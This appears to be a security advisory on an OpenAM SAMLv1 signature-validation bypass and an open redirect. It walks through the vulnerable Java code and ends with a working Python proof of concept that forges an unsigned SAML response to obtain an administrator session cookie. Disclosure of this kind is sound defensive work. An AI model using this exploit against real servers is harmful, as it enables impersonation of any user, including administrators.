Coordinated Disclosure Timeline

Summary

OpenAM up to version 14.7.2 does not properly validate the signature of SAML responses received as part of the SAMLv1.x Single Sign-On process. Attackers can use this fact to impersonate any OpenAM user, including the administrator, by sending a specially crafted SAML response to the SAMLPOSTProfileServlet servlet.

Product

OpenAM

Tested Version

14.7.2

Details

Issue 1: SAML signature validation bypass in SAMLPOSTProfileServlet.java (GHSL-2023-143)

OpenAM supports configuring SAMLv1 Single Sign-On to allow resource sharing between organizations. When this feature is enabled, OpenAM exposes a Servlet that handles SAML responses as part of the Web SSO flow:

openam-server-only/src/main/webapp/WEB-INF/web.xml:426

<servlet>
    <description>SAMLPOSTProfileServlet</description>
    <servlet-name>SAMLPOSTProfileServlet</servlet-name>
    <servlet-class>com.sun.identity.saml.servlet.SAMLPOSTProfileServlet</servlet-class>
</servlet>

openam-federation/openam-federation-library/src/main/java/com/sun/identity/saml/servlet/SAMLPOSTProfileServlet.java#L336

/**
 * This servlet is used to support SAML 1.x Web Browser/POST Profile.
 */
public class SAMLPOSTProfileServlet extends HttpServlet {
    // --snip--
    public void doPost(HttpServletRequest request, HttpServletResponse response)
                       throws ServletException, IOException {
        response.setContentType("text/html; charset=UTF-8");

        // --snip--

        SAMLUtils.checkHTTPContentLength(request);

        // --snip--

        String samlResponse = request.getParameter(
        SAMLConstants.POST_SAML_RESPONSE_PARAM);
        // --snip--

        // decode the Response
        byte raw[] = null;
        try {
            raw = Base64.decode(samlResponse);
        } catch (Exception e) {
            // --snip--
            return;
        }

        // Get Response back
        Response sResponse = SAMLUtils.getResponse(raw);
        if (sResponse == null) {
            // --snip--
            return;
        }

        // --snip--

        // verify that Response is correct
        StringBuffer requestUrl = request.getRequestURL();
        // --snip--
        boolean valid = SAMLUtils.verifyResponse(sResponse,
                                            requestUrl.toString(),
                                            request);
        if (!valid) {
            // --snip--
            return;
        }

        Map attrMap = null;
        List assertions = null;
        javax.security.auth.Subject authSubject = null;
        try {
            Map sessionAttr = SAMLUtils.processResponse(
                sResponse, target);
            Object token = SAMLUtils.generateSession(request,
                response, sessionAttr);
        } catch (Exception ex) {
            // --snip--
            return;
        }

        // --snip--
    }
}

Several things happen in this Servlet, but they all are self-contained and it does not rely on any pre-existing state, so attackers can directly call it without having to go through the whole flow.

As a summary:

An attacker that wants to forge a session needs to successfully go through SAMLUtils.getRespose, SAMLUtils.verifyResponse, and SAMLUtils.processResponse to finally reach SAMLUtils.generateSession.

Firstly, SAMLUtils.getResponse simply parses the base64 decoded bytes as an XML document:

openam-federation/openam-federation-library/src/main/java/com/sun/identity/saml/common/SAMLUtils.java:932

public static Response getResponse(byte [] bytes) {
    Response temp = null;
    if (bytes == null) {
        return null;
    }
    try {
        temp = Response.parseXML(new ByteArrayInputStream(bytes));
    } catch (SAMLException se) {
        debug.error("getResponse : " , se);
    }
    return temp;
}

Response.parseXML just ends up delegating to javax.xml.parsers.DocumentBuilder.parse, so nothing special needs to be done to pass this step, other than providing a valid SAMLv1 response. To obtain that, an attacker could first go through a normal SAMLv1 SSO flow, intercept the SAML response, and tweak it as needed — or just refer to the SAMLv1 specification.

After that, SAML.verifyResponse is called, which starts by checking the signature with Response.isSignatureValid:

openam-federation/openam-federation-library/src/main/java/com/sun/identity/saml/common/SAMLUtils.java:952

public static boolean verifyResponse(Response response,
String requestUrl, HttpServletRequest request) {
    if (!response.isSignatureValid()) {
        debug.message("verifyResponse: Response's signature is invalid.");
        return false;
    }

    // --snip--

Critically, isSignatureValid only validates the signature if the attribute signed is true:

openam-federation/openam-federation-library/src/main/java/com/sun/identity/saml/protocol/Response.java:91

public boolean isSignatureValid() {
    if (signed & ! validationDone) {
	valid = SAMLUtils.checkSignatureValid(
	 xmlString, RESPONSE_ID_ATTRIBUTE, issuer);

        validationDone = true;
    }
    return valid;
}

Otherwise, it returns the default value of valid, which is defined in AbstractResponse and happens to be true:

openam-federation/openam-federation-library/src/main/java/com/sun/identity/saml/protocol/AbstractResponse.java:58

public abstract class AbstractResponse {
    // --snip--
    protected boolean	signed		= false;
    protected boolean	valid		= true;

Also note that signed defaults to false, which means that all an attacker needs to do to bypass the isSignatureValid check is to not provide a signature in the SAML response at all, leaving both those values in their default state.

The rest of checks performed in verifyResponse are based on data the attacker provides: the Recipient of the SAML response needs to match requestUrl, and its Status needs to end with :Success (SAMLConstants.STATUS_CODE_SUCCESS_NO_PREFIX).

openam-federation/openam-federation-library/src/main/java/com/sun/identity/saml/common/SAMLUtils.java:952

public static boolean verifyResponse(Response response,
String requestUrl, HttpServletRequest request) {
    // --snip--

    // check Recipient == this server's POST profile URL(requestURL)
    String recipient = response.getRecipient();
    if ((recipient == null) || (recipient.length() == 0) ||
    ((!equalURL(recipient, requestUrl)) &&
    (!equalURL(recipient,getLBURL(requestUrl, request))))) {
        debug.error("verifyResponse : Incorrect Recipient.");
        return false;
    }

    // check status of the Response
    if (!response.getStatus().getStatusCode().getValue().endsWith(
    SAMLConstants.STATUS_CODE_SUCCESS_NO_PREFIX)) {
        debug.error("verifyResponse : Incorrect StatusCode value.");
        return false;
    }

    return true;
}

Having passed verifyResponse, only SAMLUtils.processResponse is left.

openam-federation/openam-federation-library/src/main/java/com/sun/identity/saml/common/SAMLUtils.java:1583

public static Map processResponse(Response samlResponse, String target)
        throws SAMLException {
        List assertions = null;
        SAMLServiceManager.SOAPEntry partnerdest = null;
        Subject assertionSubject = null;
        if (samlResponse.isSigned()) {
            // verify the signature
            boolean isSignedandValid = verifySignature(samlResponse);
            if (!isSignedandValid) {
                throw new SAMLException(bundle.getString("invalidResponse"));
            }
        }
       // --snip--

See how there is a new attempt at verifying the signature at verifySignature (which does it correctly and fails if the response is not signed), but unfortunately it is only called if the response is signed, so this can be bypassed as well.

The rest of the operations are again only based on attacker-provided data, so it can be adjusted to generate the desired sessMap:

openam-federation/openam-federation-library/src/main/java/com/sun/identity/saml/common/SAMLUtils.java:1583

public static Map processResponse(Response samlResponse, String target)
    throws SAMLException {
    // --snip--

    Map ssMap = verifyAssertionAndGetSSMap(samlResponse);
    // --snip--

    if (ssMap == null) {
        throw new SAMLException(bundle.getString("invalidAssertion"));
    }
    assertionSubject = (com.sun.identity.saml.assertion.Subject)
        ssMap.get(SAMLConstants.SUBJECT);
    if (assertionSubject == null) {
        throw new SAMLException(bundle.getString("nullSubject"));
    }

    partnerdest = (SAMLServiceManager.SOAPEntry)ssMap
        .get(SAMLConstants.SOURCE_SITE_SOAP_ENTRY);
    if (partnerdest == null) {
        throw new SAMLException(bundle.getString("failedAccountMapping"));
    }

    assertions = (List)ssMap.get(SAMLConstants.POST_ASSERTION);
    Map sessMap = null;
    try {
        sessMap = getAttributeMap(partnerdest, assertions,
            assertionSubject, target);
    } catch (Exception se) {
        debug.error("SAMLUtils.processResponse :" , se);
        throw new SAMLException(
            bundle.getString("failProcessResponse"));
    }
    return sessMap;
}

The only extra requirement happens inside verifyAssertionAndGetSSMap, which requires that the SAML response Issuer exists in OpenAM’s federation Trusted Partners list. We assume this information is not secret nor difficult to obtain by analyzing the authentication realm and the involved parties.

Also, it can be determined that the Subject assertion is used in getAttributeMap to map this response to a user in the realm — specifically the NameIdentifier field.

After all that, the resulting sessMap object is used to create the session SAMLUtils.generateSession, which produces and returns to the attacker the cookie iPlanetDirectoryPro. This cookie can be used to log in to OpenAM as the desired user specified in the spoofed SAML response.

Impact

This issue may lead to user impersonation in OpenAM.

Resources

The following script is a proof of concept that demonstrates how this vulnerability could be exploited. The script returns the iPlanetDIrectoryPro cookie, which can be added to a browser to log into OpenAM as the specified user:

import base64
import requests
import random
import string

ORG = "dc=openam,dc=openidentityplatform,dc=org"
ADMIN_USER = f"cn=amAdmin,{ORG}"
TARGET = "http://localhost:8207"
REDIRECT = "http://localhost:8207/openam/"
ISSUER = "dev.authserver.sso"


def random_word(length):
    return ''.join(random.choice(string.ascii_lowercase) for _ in range(length))


def main():
    url = f"{TARGET}/openam/SAMLPOSTProfileServlet"

    xml = f"""
    <samlp:Response Recipient="{url}" ResponseID="{random_word(10)}" MajorVersion="1" MinorVersion="1" Destination="http://localhost/SamlAuthenticate" IssueInstant="2014-03-27T14:49:35.395Z" ID="kBWlU3VWF.Ee6DKbkEpFomtlDAT" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
        <samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:1.0:status:Success"/></samlp:Status>
        <saml:Assertion Issuer="{ISSUER}" MajorVersion="1" MinorVersion="1" AssertionID="{random_word(10)}" IssueInstant="2014-03-27T14:49:35.404Z" ID="w4BForMipBizsG1TA7d9QzhCM0-" xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion">
            <saml:AuthenticationStatement AuthenticationMethod="urn:oasis:names:tc:SAML:1.0:am:password" AuthenticationInstant="2002-06-19T17:05:17.706Z">
                <saml:Subject>
                    <saml:NameIdentifier NameQualifier="{ORG}" Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">{ADMIN_USER}</saml:NameIdentifier>
                    <saml:SubjectConfirmation>
                        <saml:ConfirmationMethod>urn:oasis:names:tc:SAML:1.0:cm:bearer</saml:ConfirmationMethod>
                    </saml:SubjectConfirmation>
                </saml:Subject>
            </saml:AuthenticationStatement>
            <saml:AttributeStatement xmlns:xs="http://www.w3.org/2001/XMLSchema">
                <saml:Subject>
                    <saml:NameIdentifier Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">amAdmin</saml:NameIdentifier>
                    <saml:SubjectConfirmation>
                        <saml:ConfirmationMethod>urn:oasis:names:tc:SAML:1.0:cm:bearer</saml:ConfirmationMethod>
                        <saml:SubjectConfirmationData NotOnOrAfter="2014-03-27T14:54:35.404Z" Recipient="http://localhost/SamlAuthenticate"/>
                    </saml:SubjectConfirmation>
                </saml:Subject>
                <saml:Attribute AttributeNamespace="urn:oasis:names:tc:SAML:1.0:attrname-format:basic" AttributeName="FIRSTNAME">
                    <saml:AttributeValue xsi:type="xs:string" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">john</saml:AttributeValue>
                </saml:Attribute>
                <saml:Attribute AttributeNamespace="urn:oasis:names:tc:SAML:1.0:attrname-format:basic" AttributeName="MAIL">
                    <saml:AttributeValue xsi:type="xs:string" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">john.smith@email.localhost.dev</saml:AttributeValue>
                </saml:Attribute>
                <saml:Attribute AttributeNamespace="urn:oasis:names:tc:SAML:1.0:attrname-format:basic" AttributeName="LASTNAME">
                    <saml:AttributeValue xsi:type="xs:string" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">smith</saml:AttributeValue>
                </saml:Attribute>
            </saml:AttributeStatement>
        </saml:Assertion>
    </samlp:Response>
    """
    response = base64.b64encode(xml.encode())

    data = {
        "TARGET": REDIRECT,
        "SAMLResponse": response
    }

    r = requests.post(url, data=data, allow_redirects=False)
    print(f'iPlanetDirectoryPro = {r.cookies["iPlanetDirectoryPro"]}')


if __name__ == "__main__":
    main()

Note that ORG, ADMIN_USER, TARGET and ISSUER will need to be adapted to the target OpenAM server.

Issue 2: Open redirect in SAMLPOSTProfileServlet.java (GHSL-2023-144)

OpenAM supports configuring SAMLv1 Single Sign-On to allow resource sharing between organizations. When this feature is enabled, OpenAM exposes a Servlet that handles SAML responses as part of the Web SSO flow:

openam-server-only/src/main/webapp/WEB-INF/web.xml:426

<servlet>
    <description>SAMLPOSTProfileServlet</description>
    <servlet-name>SAMLPOSTProfileServlet</servlet-name>
    <servlet-class>com.sun.identity.saml.servlet.SAMLPOSTProfileServlet</servlet-class>
</servlet>

openam-federation/openam-federation-library/src/main/java/com/sun/identity/saml/servlet/SAMLPOSTProfileServlet.java#L336

/**
 * This servlet is used to support SAML 1.x Web Browser/POST Profile.
 */
public class SAMLPOSTProfileServlet extends HttpServlet {
    // --snip--
    public void doPost(HttpServletRequest request, HttpServletResponse response)
                       throws ServletException, IOException {
        response.setContentType("text/html; charset=UTF-8");

        // --snip--

        String target = request.getParameter(SAMLConstants.POST_TARGET_PARAM);

        // --snip--
        if (SAMLUtils.postYN(target)) {
            //--snip--
            SAMLUtils.postToTarget(response, response.getWriter(), assertions, target,attrMap);
        } else {
            response.setHeader("Location", target);
            response.sendRedirect(target);
        }
    }
}

Note that target is used in response.sendRedirect without further validation. Assuming an attacker can provide a valid SAML response (see GHSL-2023-143), they can craft a request that redirects the user’s browser to an arbitrary server.

Although this is a POST request, so admittedly the impact is limited, it could still be a problem under specific conditions.

This issue was found with the CodeQL query java/unvalidated-url-redirection.

Impact

This issue may lead to an open redirect of the victim’s browser.

Resources

The PoC exploit provided in GHSL-2023-143 can be used to exploit this vulnerability as well (tweak the REDIRECT variable as desired).

CVE

Credit

These issues were discovered and reported by CodeQL team member @atorralba (Tony Torralba).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-143 or GHSL-2023-144 in any communication regarding these issues.